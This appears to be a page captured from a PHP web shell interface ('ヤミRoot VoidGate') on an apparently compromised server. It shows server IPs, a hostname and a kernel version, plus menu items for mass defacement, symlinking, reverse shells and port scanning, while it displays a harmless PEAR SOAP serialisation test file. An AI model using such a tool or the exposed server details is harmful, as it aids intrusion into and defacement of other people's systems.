ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
SOAP
/
tests
/
serialize
/
Viewing: struct_3.phpt
--TEST-- Serialize custom struct --FILE-- <?php require_once dirname(__FILE__) . '/../test.utility.php'; require_once 'SOAP/Client.php'; $soap_client = new SOAP_Client(''); require_once 'PEAR/Config.php'; $config = &PEAR_Config::singleton(); require_once dirname(dirname(dirname(__FILE__))) . '/example/example_server.php'; $struct = new SOAPStruct('test string', 123, 123.123); echo $soap_client->_generate('echoStruct', array('inputStruct' => $struct), 'urn:SOAP_Example_Server'); ?> --EXPECT-- <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns4="urn:SOAP_Example_Server" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <ns4:echoStruct> <inputStruct> <varString xsi:type="xsd:string">test string</varString> <varInt xsi:type="xsd:int">123</varInt> <varFloat xsi:type="xsd:float">123.123</varFloat></inputStruct></ns4:echoStruct> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Coded With 💗 by
0x6ick